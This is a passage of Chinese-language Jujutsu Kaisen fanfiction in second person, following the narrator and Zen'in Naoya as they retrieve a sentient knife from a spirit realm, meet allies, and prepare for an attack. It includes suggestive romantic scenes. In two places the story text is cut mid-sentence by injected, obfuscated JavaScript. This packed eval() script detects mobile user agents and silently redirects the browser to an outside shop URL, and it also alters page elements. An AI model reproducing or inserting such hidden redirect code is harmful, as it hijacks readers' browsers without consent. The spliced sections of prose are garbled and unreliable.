直哉在害怕不能成为你的唯一,你却以为他的神经质来自于继承权的动摇。你想到的解决方案是:如果直哉在伤心得不到家主之位,那就送他一点好东西,让他好受一点! 可惜你翻遍外公的仓库都没有找到一把真正让你满意的特级咒具,看来看去都不如在五条悟那边的那把游云,于是你动了去浅川的念头! 虽然爸爸被妈妈做成了咒具听起来有点地狱……但是爸爸是个半妖,做成咒具应该能比游云强吧? 因为害怕外公再次打人,你拉着直哉一起去了书房。 对于你的要求,外公居然很是配合!他告诉了你去浅川的方法,又严肃嘱咐:“记住了,浅川只能去一次,第二次就会被标记成浅川居民,自动获取永居权,你这个人就不再属于我们的世界了。” “不对啊外公,妈妈在浅川遇到爸爸是第一次,把爸爸放回浅川是第二次……”你掰着手指数着,“妈妈怎么能去两次?是不是卡了什么BUG?” “第二次是我去放的!”乐岩寺哼声,“你爸爸那种东西留在家里太不吉利了,我把它送回去了。” 此时你终于想起,你的外公是咒术界保守派的大佬!确实保守,如果不是他多此一举……你现在都能直接取用爸爸了! “真是惹麻烦……干嘛放回去,还害我们要再去一次。”直哉嘀咕着说出了你的想法,那一脸嫌弃的表情明显在追责你外公。 乐岩寺握着拐杖的手又痒了,他隐忍:……臭小子! 你:……虽然直哉说的有道理啦,但是外公也没做错,有风险的东西放在家里确实不太好哦? 为了不引起注意,进入浅川需要乔装打扮,乐岩寺从一间上锁的房间里取出了非常逼真的头戴式狐狸耳朵和穿戴式狐狸尾巴。他说这些都是你妈妈以前做的,她做咒术师之余还喜欢cosplay,是毛娘里的大手子,用构造术式出cos是否有什么问题?没有问题! 你很开心的戴上耳朵尾巴,直哉明显不愿意,在你的催促下半推半就的穿上。 你对于直哉的狐狸打扮非常满意,恨不得立刻拖着他回卧室玩一下,但是因为外公也在,你心说回来再说吧。狐狸直哉和你半斤八两,他看着你的眼神又开始黏黏糊糊的,毕竟狐狸耳朵的小猫咪可不多见啊… 乐岩寺:Stop!先干正事! 浅川无咒力,你们出发前在身上藏了热武器防身用,直哉这种看起来很传统的老京都人其实上过射击课,不愧是禅院嫡子。 去浅川的方式挺简单,只要是浅川关联人或携带关联物,半夜十二点在任何一个森林附近乱走就能到了。外公当年去的时候拿着爸爸刀,而你身体里本来就有狐狸血。 跨过浅川界碑,咒力如蒸发一般消失,这让你们两个咒术师惊慌了一下,但是很快恢复了镇定:赶紧去拿,拿了就走。 浅川和你们的想象不同,居然挺现代化的,如果忽略奇出百样的“行人”,光看建筑和街道就像是在北海道一样。 路上一只狸猫人搭讪说你的毛色真漂亮,在你开口前直哉凶恶地说了句滚,狸猫人被这傲慢蛮横的应对吓到,一溜烟夹着尾巴跑掉。 你们按照外公说的地址找到具体的单元和楼层,开了密码锁,密码是你的出生年月日,在这种细枝末节上,你发现了一点妈妈的爱。 不过你很快转念一想,可能是外公设置的,倒不一定是母爱啦。 进门你们就看到桌上有把刀,正冒着幽幽的火光,那大约是狐火,跳动的火焰非常诡谲美丽! 直哉吐槽说你爸爸就放客厅吗?好随便… “好好看哦!”你凑近伸手戳了一下刀柄,能感受到它内里庞大的能量。 你对这把刀非常满意!它非常适合直哉使用,毕竟他是一个刺客型的咒术师,最适合这种可以收纳进衣服内袋的武器了! 直哉本来想阻止你碰这种来历不明的东西,起码也要戴上手套,但是你已经把它拿起来把玩,还很是大方地把刀递给他:“直哉你也摸摸看!” 万万没想到的是,这把刀居然还有自我意志!它完全抵触被直哉触摸,在他的手无限接近刀身时,它牵引着你的手躲避。 “欸……”你灵光一闪,吩咐他,“直哉,叫爸爸!” “哈?!”直哉那双本来偏狭长的金绿色眼睛因为惊讶而变圆,他低声惊呼,“浅川离,我当你的狗还不够?现在你还要我叫爸爸?” 你一脸理所当然:“我是让你叫这把刀,叫叔叔也行,不过我觉得叫爸爸成功率更高一点喔。” ‘不管是嫁娶还是入赘,坏猫当然会和我结婚,真结婚了确实……反正这刀是她爸,就当提前叫了吧。如果叫叔叔,那不是和随便什么男人一样吗……反正是一把刀。”直哉没用几秒钟就说服了自己,有些艰涩地对着你手上的狐狸刀轻轻叫了一声爸爸。 狐狸刀满意了,你再将它拿给直哉,直哉也能握住了。 短刀入手,直哉就发现它确实不是其他咒具可以比拟的,他能感受到刀中有‘脉搏’一般的东西在跳动,能量几乎要呼之欲出。 直哉和你都是经验丰富的咒术师,对于各种怪谈和规则都颇有涉猎,东西到手了,就不要节外生枝。你俩在楼下遇到兔子耳朵的邻居问是新搬来的吗?你们没有回答,只快步离开。 你被直哉拽着几乎奔跑起来,很快你们就看到了进入浅川时看到的那块界碑。 “走了,阿离。”直哉越过界碑发现你没跟上便回头呼唤你,却见你在界碑前停下了脚步。他心道不好,难道你被‘浅川’污染了吗? 他想伸手来拉你,你赶紧摆手,让他退远一点! “我没事直哉,现在开始不要和我说话,身体的任何部位都不要越过界碑。”你有个绝妙的主意,并且准备实施。 直哉不明所以,但是上次你说不会死,就真的没有死,所以这次他暂时信你一次,看你到底要搞什么花样。 你俩隔着一道界碑,直哉心说早知道你来这一出,走到界碑前他就应该直接抱着你越过,让你没机会作妖。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17146115|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大约过了半小时,在直哉已经面露不耐的时候,你突然跳过了界碑,然后又呆立在原地。 “阿离?!”直哉狐疑地看向你,叫你也没反应。 “好了,拓印下来了。”大约一分钟后你恢复正常,一脸高兴地抬头看他。 浅川无咒力,你用刚在体内发现的妖力分析了环境并背了下来,出了浅川就立刻用咒力复写。虽然你没有作过弊,但是你觉得这次拓印就像在老师办公室偷看标准答案,再跑回考场赶紧默写下来一样。 “哈?你拓印这个干什么……”直哉问出口就明白了,你拓印了一个‘无咒力的环境。’ “嗯哼。”你得意洋洋,“我记得禅院曾经有一把特级咒具天逆鉾。” 直哉当然知道,这可是甚尔用过的咒具,属于重要知识点:“嗯,现在已经被五条悟封印了。” “不错,现在等于我们也有天逆鉾了。”你扬起一个大大的自信笑容,“我们好强啊直哉!有了爸爸和‘无咒力环境’,哇哦,除了五条悟,我们天下无敌了!” “哼,还要试试看才知道。”直哉指的是你爸爸,也指的是‘无咒力环境’。 “欸,直哉你明明也很高兴。”你毫不留情地拆穿他,虽然环境确实需要你回去反复实验才能拿出来用,但是雏形已经到手了。 “快走了,这个地方让我感觉发毛。”因为二次进入浅川会被盯上,所以直哉觉得站在界碑边上也不安全。 “哦哦,直哉你干嘛把狐狸耳朵拿掉?” “我干嘛要戴着!!” “你戴着嘛!!我想试试和狐狸…” “回去再说!” …… 你俩风尘仆仆地在清晨回到了乐岩寺宅,进门就看到了一个扎着小辫的陌生黑发少年,正在和外公下围棋。 多日不见的学妹三轮霞也在,她依然是一身打工时的西装,正在厨房忙碌着什么。 “东西拿到了?”外公从棋局里抬头,指着对面的少年介绍道,“离,这是你的表弟乐岩寺幸吉。” “拿到了……哈?”你惊讶地看向那个少年,他也有些紧张地看着你。 直哉本来对眼前这个还算俊美的少年有些警惕,但是听到他是‘乐岩寺’后就放松了下来:只有禅院有着让拥有咒力的家族女性侍奉嫡子的传统,乐岩寺家是正常的。 “校长,银鱼花生炸好了……欸?浅川学姐,禅院先生,你们回来了?”三轮霞从厨房端着一碟炸物出来,看到你们很惊讶,“校长说……你们外出做任务了,那个,一切顺利吗?” 她的表情有些不自然,完全就是有事瞒着你们,但是又不能说出口,所以有些支支吾吾。 乐岩寺放下手中的棋子,“我去休息了。三轮,你介绍幸吉给阿离…和禅院。” “他是……机械丸。” “机械丸吗?” 外公走后,你和三轮几乎同时开口,她有些惊愕地看向你,结结巴巴:“学姐,你你你怎么知道的。” “我猜的。”作为狐狸血脉的你其实有一点点感知力,但不多。 “浅川学姐,禅院先生。”机械丸,也就是与幸吉,或者说现在是乐岩寺幸吉,乖巧地问好。 “哈?”眼前的少年居然就是京都校二年级的内鬼机器人,着实让直哉有些意外,“你的天与咒缚呢?” 你和直哉说过机械丸的‘天与咒缚’,所以他也多少知道一点。 “说来话长。”与幸吉看了一眼三轮霞,又转向你们,郑重道,“你们应该都知道了,我就是京都校的内鬼。” 直哉挑眉,心说废话,是我第一个发现的! “我用高专的情报和特级咒灵交换了健康的身体,并赌上了十七年的咒力想要祓除它,可惜失败了。”他垂眸,带着遗憾和愧疚,“还好五条老师早就知道了我是内鬼,一直让辅助监督埋伏在我藏身之处附近,等对方的帐降下,五条老师就赶来祓除了特级咒灵,还活捉一个诅咒师。” “遗憾的是,那个诅咒师投降的时候身体就自动爆开了,我们没能从他身上得到什么情报。” “身体的健康带走了我的咒力,五条老师说就算机械丸已经死了。让我用与幸吉的身份赎罪…校长给我办了新的身份,以后我会以辅助监督的身份和大家继续在一起。” “……这样吗?太好了。”你一直知道三轮和机械丸很要好,现在机械丸走到了阳光下,你当然是为三轮感到高兴的。 “喂,你们在谈恋爱吗?”直哉非常直白地提问。 三轮和与幸吉闻言慌慌张张,脸红心跳,完全心虚。 直哉看他俩的样子就知道说中了,他抱臂哼笑一声,拖着你的手就准备回卧室:内鬼什么的无所谓,这家伙不是单身就行了。 你被直哉拖了一个踉跄,虽然还有话想和三轮说,但是狐狸耳朵直哉确实很诱人…于是你对三轮和机械丸摆摆手,说你们先坐,我们很快回来。 并快不了一点! 38.第 38 章 你被直哉拖着走,身后与幸吉说五条老师很快会过来商量特级咒灵和加茂的事情。 你迷茫了:五条老师和我外公已经成同盟了吗?怎么来我家商量啊… 就一下子脑子有点乱。 你懵懵懂懂地被直哉半拖半抱着带回了卧室,他把门锁上,然后就一整个把你抱住,开始扒拉。 “直哉,直哉?”等你反应过来人已经光溜溜被丢进了放好热水的浴缸,“你听到了吗,五条老师等下要过来。” “过来就过来。”直哉根本不想听到这个名字,他在浴缸边上蹲下,漂亮的脸贴近命令道,“别管他,过来亲我,快点!” 屑狐狸就莫名其妙的霸道,你眯起眼,面露不满,有点想战斗了。 “那我过来也行。”直哉不会和你计较这种细枝末节,见你不动作,他干脆利落地将你拉到近前,对着你的唇吻了下去。 可能是直哉担心五条悟来打断,赶时间的他都忘记抱你去床上,直接把你放到洗手台对面的大理石长柜上开亲。 等你满足又疲劳地裹着浴巾在化妆镜前坐下,准备护肤,眼神下意识瞄到了边上的…你爸爸! “直哉!”你花容失色地惊呼,“刚才它就在这里吗?!” “哈?”直哉裸着上身,正站在你身后,拿着吹风机帮你吹头发,他一边拨弄你的银色长发,一边语气随意,“对啊,我顺手放那边了。” “那我爸不是都看到了吗?!”你恼羞成怒,脸瞬间变成番茄色,用猫猫拳推打着直哉硬邦邦的胸肌和腹肌,“都怪你,都怪你!” 打着打着你感觉手感还行,直哉在你的督促下没有放任肌肉持续变大,虽然不算薄肌,但是也不是那种大块,你其实还算满意。 “刚才那种情况没注意到也很正常。”他坦然地任由你打,语气也极为欠揍,“这没什么吧?你不也这么来的吗?” 他说着还拿吹风机调成最小档怼你脸吹着玩。 你乱抓乱挡,拳打脚踢,心里却觉得他说的也有道理… 你心虚瞄向爸爸刀:“它应该没有视力吧?” 听力肯定是有的,毕竟直哉叫爸爸后它才让碰。 说到听力……你回忆了一下,刚才直哉不断问你他是不是钻石,又问你他有没有走下坡路,还报复性的让你喊他…反正就是说了一大堆不太好过审的话。不过也无所谓了,你爸爸之后会一直被你们随身携带着,早晚都会听到的吧?这也算是对它的脱敏训练了。 你很轻松把自己哄好,等头发吹干,立刻勾着直哉的脖子让他把你抱回卧室,刚躺到床上准备玩会手机,你猛然想起刚才没让直哉戴狐狸耳朵!于是你催促他戴,他不肯,你们又斗了几句嘴,他把你扑倒啃你的脸和脖子,你高速出拳反击可惜伤害微弱。 就在房间里气氛正好的时候,你的手机突兀地响了。 你看了姓名,接了起来。 “摩西摩西,小离~”直哉在听筒里听到了五条悟那标志性的不符合二十八岁的活泼声音。 你推开直哉裸露的胸膛,一秒进入社交模式,和五条悟客气礼貌地交谈起来。 “干嘛接他电话…”直哉很不高兴,这种时候,一个合格的女朋友,不是应该把别的男人的电话摁掉吗? “五条老师肯定有正事啊,他快到了,我们下楼吧。”挂了电话,你伸手去捞衣服,还催直哉也快点穿。 “哼,迟早憋出病来。”直哉忽略了你们刚才做过的事实,只觉得委屈死了,不过他还是老老实实地把衬衫和羽织整齐套上了身,没好气地翻身下床。 临出房间门他一把将你扯近,低头专注地又吸又吮你的嘴唇,把你亲到疯狂打他才放手,看着你因缺氧而绯红的脸颊,他满意翘起嘴角,很好!这样看起来就是我们做了…做了就是要给五条悟知道! 就很幼稚,但是很禅院直哉。 你们下楼,客厅里三轮和与幸吉还在,他们的对面坐了一个短发年轻人,穿的很休闲,即使如此,你俩还是一眼认出:是加茂宪纪! “浅川,禅院先生。”宪纪很礼貌地和你们问好,他剪掉了长发,换下了那身阴阳师一般的制服,好像一下子变回了现代人。 “你来干嘛?找老爷子吗?”因为加茂家绑架了你,再加上对潜在情敌的敌意,直哉态度超差。他凤眼微眯,冷哼着阴阳怪气,“哦?还是说,你们‘家主’终于良心不安,让你剃发登门道歉?” 宪纪面露难色,欲言又止。还不等他说话,客厅的大门被女仆打开,闪闪发光的五条老师背着光闪亮登场。 “哟,我是最后一个吗?”五条悟天生就是主角,他戴着墨镜,只是很普通的迈着长腿走进来,瞬间就成为了全场的焦点。 “小离,还好吗?”五条悟拉下墨镜仔仔细细打量你,“哇喔,看起来容光焕发,直哉把你照顾得很好嘛。” “那是自然,谁能比我照顾得更好……”直哉伸手揽过你的肩膀,语气警惕,“五条,你来我们家做什么?” “哈?这里是乐岩寺吧,怎么是你家了?难道说……终于决定入赘了吗?直哉?”五条悟在沙发上大大咧咧坐下,长腿一伸,有些挑衅地笑问,“直毘人老爷子知道这件大好事了吗?” “五条,那不是你需要管的事情。”直哉居然没有立刻恼怒地否认,这种暧昧的态度让宪纪都忍不住侧目。 气氛正诡异之际,乐岩寺慢吞吞地走了进来,人都到齐了,五条悟拍拍手表示大家坐下说正事啦,然后点名宪纪先说。 “那个诅咒师……虽然容貌被烧毁,但确实是我的父亲。”宪纪说得有些生涩艰难,倒不是他对父亲有多少感情:其实他也非常讨厌这个迫害母亲的糟老头,这种坏事做尽的家伙死了也没关系。 但是他从五条老师处得知,加茂康诚居然绑架你,还被你灌了岩浆,在佩服你果决勇敢的同时,宪纪也感觉到很对不起你,加茂家一而再再而三地伤害你… “因为宪纪指认尸体是加茂康诚,加茂家里的那个假家主就派了人追杀宪纪,还说他是诅咒师假扮的加茂少主,不然怎么会连父亲都认错。幸亏加茂静通风报信,我们才能将他救下带回。”乐岩寺有些怜惜地看着宪纪,又吩咐你,“宪纪会在家里住一阵子,我给他做了乐岩寺亲戚的假身份,离,你暂时叫他表哥吧。” 你:啊?乐岩寺宪纪? 直哉:哈?!他怎么配!这不很像入赘了吗?! “呵,鸠占鹊巢的家伙,离的表哥也是你能当的吗…”直哉小脸一垮,张口就嘲讽宪纪,然后被你掐了一把大腿,他惊讶,然后拍拍你的手,说忍耐一下,回去再做。 你:不是这个意思! 乐岩寺见宪纪面色苍白,便劝慰道,“宪纪,你不必太过伤怀,你父亲与诅咒为伍,死亡是咎由自取。至于那个假家主,总有被揭穿身份的一天,到时候你就可以回归加茂家。” 并没有为父亲难过也没觉得回去很好的乐岩寺宪纪颔首:“是的,校长。” “根据小吉提供的情报,诅咒集团在万圣节的涩谷策划了大型袭击,主要目标是我。所以我决定,下周,也就是万圣节前一周,东京京都两校全员集结,共同抵抗诅咒!”五条悟用手比出一个一来,又对着大家晃了晃,“我会为京都校的各位准备好宿舍的~对了,直哉也来吗?” “哈?情报已经泄漏了,诅咒还会在那天发动攻击吗?”直哉冷笑,心说白痴五条悟,也没好气地问了出来。 “直哉说得很对呢,那么。”五条悟转向你,“小离要不今天就跟老师回东京,时刻准备着?” “她不去!”直哉用身体挡住你,咬牙切齿,“呵,禅院在东京高专附近也有多处房产,就不劳你操心了。” 别想单独把她带走……你这个混蛋! 三轮面露担心地问:“五条老师,既然诅咒的情报已经泄露,那么它们还会选在东京吗?如果我们都去东京了,京都不就很危险了吗?” “咒灵选择的不是东京,而是五条老师。”与幸吉替五条悟回答,“他们的最终目标是五条老师,所以他在哪里,他们就会选择在哪里发动。另外,即使情报泄漏了,它们还是可能按原计划进行,赌我们认为原日期泄漏作废。” 大家一起看向那只白毛巨猫,心说五条悟有那么重要吗? 是的,就是有那么重要的,毋庸置疑的最强,咒术界的天花板,诅咒们穷极一生都想要跨越的人类天堑。 …… 虽然与幸吉失去了天与咒缚,但是他依然是一个很强的黑客。 在出发东京前几日,他通过网络排查禅院五条两家有无在经济上勾结诅咒师,无意中发现了禅院每个月都会有一笔巨款转去东京,再细查发现走的是直毘人的私账,这样就显得非常可疑了。 直哉和你一直形影不离,所以这件事也没能瞒住他。起初他挺无所谓的,认为老头子养外室罢了,从这个金额来看应该是女明星级别的吧? 与幸吉再细查,发现汇款已经持续了二十七八年,这样倒是洗清了直毘人与咒灵的嫌疑,毕竟那些活跃的咒灵是在虎杖悠仁吞下宿傩手指后才出现的,至今都不到半年。 考虑到这笔汇款持续的时间真的很长,直哉的脸色有点不好看了。 “应该不会有孩子吧?禅院有咒力的人都要进入‘炳’,无咒力的也要进入‘躯俱留队’,我可不知道有这么一号人。”直哉很快就终止了这个话题,还凶巴巴地警告与幸吉不许说出去。 与幸吉有些同情地看向直哉,你对着他摇头摊手,表示管不了。 你和直哉都很默契地没有再提这件事,你知道他在回避禅院的一切,自从宴席上直毘人叔叔对‘入赘’点头赞赏,他们父子之间就出现了很大的隔阂。 … 当晚,你趴在床上晃着腿,看直哉收拾你的衣柜,顺便打包要去东京穿戴的衣物。 这一古怪行为源自于,直哉刚才打开你在乐岩寺宅的衣柜,立刻被层层叠叠的衣服山崩掩埋,追求洁净整齐甚至有点龟毛的禅院大少爷当场就黑了脸。 禅院直哉,这个在禅院宅邸里连穿传统日式鞋都需要侍女跪下来仔细绑好鞋带,衣来伸手饭来张口的大少爷,此刻正坐在小矮凳上,面前堆着像小山一样、各种材质和颜色的新衣服,都是你一时兴起买回来,连吊牌都没剪,就随手塞进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17151001|194870||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 衣柜或堆在角落的战利品。 他眉头微微蹙起,略带嫌弃地剪掉各种大大小小的吊牌,嘴里絮絮叨叨地责怪你混乱邋遢,但是手上的动作不会停。他认认真真仔仔细细地挑选了要给你带去的内衣裤、内搭、毛衣、连衣裙、帽子和裤袜,分门别类,整齐叠放到行李箱里。 “不用拿那么多,穿高专校服不就好了。”你在床上趴着,双手撑脸,觉得直哉实在是有些仔细过头,小题大做:直哉说侍女姐姐不会分类只会堆叠,所以不让她们来整理。就带几件衣服还要这样认真挑选,穿什么不都差不多吗?如果东京真的冷,完全可以钻进他怀里,或者命令他把羽织脱下来…… 你玻璃珠一样的琥珀色眼睛一转,坏点子生成中,于是你甜甜地叫他:“直哉,直哉,你过来,我有事和你说。” 正在认真整理行李的直哉有些嫌弃地回头:“你能有什么事……” 他话未说完,脑袋就被你双手捧住,你舔舐着吻上他的唇,他立刻丢下手上的衣物,按着你的后脑勺爬上床顺势把你压倒。 他压着你亲,你猫猫咪咪地哼唧了一会儿,然后突然翻滚避开,一脸认真地看他,字正腔圆地命令道:“直哉,我玩够了,好了,快去理我的衣服,地上好乱。”说这话的时候你露出了一个非常欠揍的笑容,仿佛计谋得逞。 “哈?你这只欠揍猫,这时候让我去整理衣服?”直哉只觉得你不可理喻,他都这样了还整理什么衣服啊?他想无视你的话,但是……那些衣服就这样乱糟糟地堆在地上,真的好难受啊,只是晚一点享受,你应该也不会跑吧? 他愤恨地看你一眼,慢吞吞地挪动到衣柜边上,像是认命一般坐回小矮凳,动手归置那些衣物。 你也没闲着,走到他身边开始挑挑拣拣,许多衣服你买了都忘了,现在一看又觉得非常可爱,于是你穿了脱脱了穿,不知不觉脚下又堆了一大堆需要折叠的衣服。 “浅川离!”直哉回头发现你居然干出这种没有道德的事情,金绿色的眼睛真的要喷火,他是非常非常不能接受杂乱的男人,这时候他也顾不上你俩的情分,直接放下剪刀扑了过来。 “哇啊。”你想躲避,却被扎扎实实抱住,直哉在你身后用双臂控制住你,又用手带着你去整理地上乱糟糟的衣物,就像猫打翻了猫粮被主人拿起来扫地一样。 你们闹哄哄玩了半天,最后直哉夹着你进了浴室,地上的乱糟糟一摊也不管了! …… 可能是因为穿脱了太多次衣服,也可能是在浴室里待了太久,玩闹的后果就是你感冒了,重感冒,重到你都担心会影响五条老师的涩谷计划了。 虽然你已经学会了反转术式,但这并不是外伤,所以收效甚微。 量体温后你得到了让人失望的数字,于是你立刻使用了迁怒技能,一边用抱枕砸直哉,一边责怪:“都怪你,害我感冒了,如果你不整理衣服,我怎么会感冒嘛……” 直哉被你毫无逻辑的指责和不痛不痒的攻击弄得只想笑,他接住枕头抱住,对你冷嘲热讽:“真没用啊,你是真的弱。” 虽然说话难听,但是他还是把你塞进了厚厚的毯子里,又拿来温热的毛巾擦了你的脸,再从你昂贵的面霜里挖出一大块,擦在因擤鼻涕而微红的鼻子上,最后喂你吃了感冒药。 得到了直哉的照顾让你感觉好了许多,温暖让你昏昏欲睡,心里那股因为生病放大的依赖感瞬间达到了顶峰,你拉着直哉让他躺在你的身边,把发烫的脸颊贴在他微凉的手背上。 你闭着眼,用带着鼻音的哼唧声在直哉的耳边吹气:“直哉,没有你,我怎么办啊?” 你停顿了一下,似乎意识到了这是一个非常严重的问题,紧紧抓住直哉的手,声音里带着一丝不易察觉的恐惧:“直哉!你一定要长命百岁啊!绝对不能比我先死,不然,不然我一个人,不知道该怎么生活下去。” 其实你已经感觉到了困意,但是还是继续碎碎念:“直哉,你可不能学东堂啊,一天到晚找人打架,你也不能学宪纪,抽那么多血……更不能学五条老师,给所有人兜底累的要死……” 你的声音越来越小,好像下一秒就要睡着,直哉怔愣在原地,心脏又酸又软,还有一种难以言喻的恐惧如潮水一般涌来:他绝对会比你先死,你有几百年的寿命……如果死亡将你们分开,还有谁会这样照顾你呢?别的男人照顾得了吗? 带着这样的恐惧,他下意识握紧了你发烫的小手,你吃痛,不满地咕哝了一声。 “闭嘴,睡觉吧,起来就好了。”直哉用故作冷硬来掩饰惊慌,“哼,现在才知道离不开我吗?算了,现在知道也不晚。” 你没有回应这些挑衅的话语,只把脑袋埋在他的怀里沉沉睡去。 ‘要不我死后也变成咒灵吧。’ ‘不,不行,她那么没良心,肯定会嫌弃我是老头子咒灵的。’ ‘真是坏猫,活那么久做什么啊?就不能跟我一起只活一百岁吗?’ ‘算了,不能怪她,她也不能选择父母。’ ‘脸粉粉的,鼻子好挺,睫毛好长…坏猫睡着了是真的可爱啊……’ 他狂亲。 39.第 39 章 你的病来的快去的也快,第二天就能窝在被子里指挥直哉干活了,你一会儿要吃这个一会儿要吃那个,还让直哉帮你把一直没办法通关的游戏都打通,累了就把他抓到被子里抱着小睡一会儿,然后继续使唤他干这干那。 “笨猫,我不是闲人,我也有工作。”直哉虽然嘴上这样说,但还是靠着投射咒法为基础的超强手速,把你手机里所有游戏都打到最高段位。还顺藤摸瓜去喷了所有骂过你的人,他没有多少脏话储备,但是骂人绝对难听,非常刻薄,那些人应该都挺后悔招惹你的,之后估计也不敢随便骂人了。 “工作有什么好干的嘛。”你小打一下哈欠,在床上翻滚了一圈,舒舒服服躺平,“……让别人去干不就好了。” “呵,你懂什么。”直哉靠近床边,低头看你仰着的脸,看了几秒就俯身开始亲,你被他的胡渣刺到脸,立刻很没良心地开始推他。 “直哉,好刺。”你浑然忘记生病的时候是谁照顾的你,只嫌弃催促,“胡子,刮干净再亲我。” “呵,你这人……”被你打断亲密行为的直哉冷笑出声,“真是现实啊浅川离,如果以后我有了皱纹,你是不是看都不想看我一眼?” 他用开玩笑的语气说着真心的话,自觉走进了套房的浴室。 “那你不要长皱纹就好了。”你很霸道地说,然后从床上灵活翻下来跟进浴室,有些谄媚地围着直哉打转,“我来嘛,我来嘛,让我玩玩,直哉。” 男朋友浑身上下都是你的游乐场,他不会拒绝的。 直哉稍微假装反抗了几下,最后就是他抱着你,你坐他腿上,仔仔细细地把他下巴上完全不明显的胡茬修的干干净净,非常滑溜。你爱不释手地摸了一会儿后又抱着他的脖子亲上去,亲着亲着你俩就呼吸粗重想干点别的,衣服刚脱下一半,你听到‘咚’的一声。 爸爸刀掉在了地上,刚才它被你随手放置在浴室的台面上。 “……它是不是觉得不应该听。”你有些心情复杂,“它好像有很强的自我意志。” 它当然不是一把死物,在浅川的时候直哉叫了‘爸爸’它才让碰。你们去禅院的咒灵房间做过实验,它砍咒灵如砍瓜切菜,锋利异常,确实是一把不可多得的特级咒具! 可是当你怂恿直哉用爸爸刀砍一下直毘人最喜欢的那张古董椅子,爸爸刀不断打偏,你能感受到它在教育你要爱惜东西,不能随便搞破坏! “啧,麻烦。”直哉虽然觉得浴室有镜子很刺激,但是也真的不想被你爸看着。他懒得去捡地上的爸刀,将你一把抱起回了卧室,又重重将浴室门关紧。 你喘着气还不忘和直哉说正事:“直哉……我,我觉得,不能,不能把我爸爸,当唯一的武器……啊……就是要再带一把。” “嗯?”直哉根本听不进去你在说什么,“知道了知道了。” 你不太高兴他这样敷衍的态度,但是你很快也没办法维持理智了,所以可喜可贺,这次你们没有吵起来。 …… 你们一起回了一趟禅院,因为你认为爸爸刀的自我意识有点过剩,战场瞬息万变,如果它犹豫了很可能会害死直哉。所以你怎么都要让直哉再选一把副刀,或者什么咒具都行,避免爸刀罢工后无武器可用的窘境。 你俩在禅院庞大的咒具库里视察,那些刀具不是太大就是太差,能入眼的大部分只留一个标签,可能是被家族的某人提走收藏了。直哉推测禅院扇和禅院甚一手里有不少好东西,直毘人也有。 “扇就别提了,自己不争气,没能生出有强大术式的后代,一天到晚苦着脸怪别人,得不到家主之位就怪女儿,真是让人笑掉大牙。”既然提到了扇,直哉就要说一说,他傲慢刻薄地冷笑评价,“他是最最差的。” “这把刀怎么样……不行,自重太重了。”你翻翻找找。 “甚一嘛,作为甚尔的哥哥居然能长得那么丑,也是挺厉害的。如果这样的丑人做了禅院家主,那禅院要被咒术界嘲笑吧?问题出在脸上,那张脸要是能和甚尔换一换就好了。”直哉沉浸在说别人坏话里,都忘记回答你的问题了。 你拿起一把轻薄的小刀,掂量了一下感觉太轻,估计不方便破甲,又放回去。 对于直哉的毒舌点评,你根本懒得回应。虽然直哉一天到晚以禅院少主自居,但是他对禅院的爱是很稀薄的。大部分人觉得禅院直哉看不起女性,但只有你最了解:他很公平地看不起所有不美不强的人,管你男的女的,咒力低?骂!长得不好看?骂!他根本不思考骂的后果,理直气壮地得罪所有人。 也正因如此,即使非常讨厌扇,直哉对于他的双胞胎女儿,禅院姐妹的容貌还是实事求是的。如果这对姐妹非常强,你的直哉一定会厚着脸皮去和她们做朋友! 你清楚明白直哉不算什么好人,可他也没做过什么伤天害理的坏事。对于这样灰色的直哉,作为女朋友的你当然是包容,因为他的脸真的非常好看,每次用这样的脸,说着关西腔撒娇,都让你怦然心动。 “欸?”你突然被一个空着的柜子吸引,然后叫来了库管。 “那条黑珍珠项链呢?就是可以吸收伤害的那条。”在库管禅院秀吉的点头哈腰中,你指着空处直接发问。 “那个,那个可能是被人拿走了吧。”他本来就是一个有些结巴的人,所以磕巴的反应也没引起直哉的怀疑。 “谁拿走的?麻烦你看一下记录。”你并不打算就这样算了。 直哉站在你的身侧,居高临下地低头看你执拗的小脸,心说我的小猫真可爱啊!上次坏猫就想要这条项链,试戴了一下嫌弃款式老,当时就放下了,想不到现在又惦记上了……呵,女人,可爱。 “那种老气横秋的款式不配你。”直哉很是爱怜地伸手抚摸你纤细洁白的脖颈,今天你戴的绿宝石吊坠是他上个月在东京的拍卖会上给你买的礼物,也是一件咒具,比那条珍珠项链青春活力很多。 你不理会直哉的打扰,只用猫一样的眼睛盯着禅院秀吉这个小老头,语气坚定:“秀吉叔叔,麻烦你去看一下记录,我非常想知道它在哪里。” 你是个准一级的咒术师,如果你愿意,多的是咒术师愿意为你做一级的推荐人。此刻你真心想要答案,不自觉身上就散发出了一些威压,清透的眼眸内里涌起低气压,乍一看好像一个小猫鬼。 只是四级咒术师的禅院秀吉大感压力,告罪说稍等。 “可能是扇拿走的,这家伙不是有个老婆吗?”直哉有些慵懒地舒展了一下胳膊,差点打翻边上的古董花瓶,他也不以为意,只低头啃你的脖子,语气暧昧,“干嘛呀,是不是又想找机会吵架?我都知道你的套路了,先找茬,再骂我,然后……” 大吵一架再…确实更刺激,他想。 “真依出生后他们就分床睡了。”你躲开直哉喷到你脖子上的微热气息,稍微往边上挪了几步,“那天真依和桃在聊天,我路过听到的。” “他那么早就不行了吗……那就是甚一。” 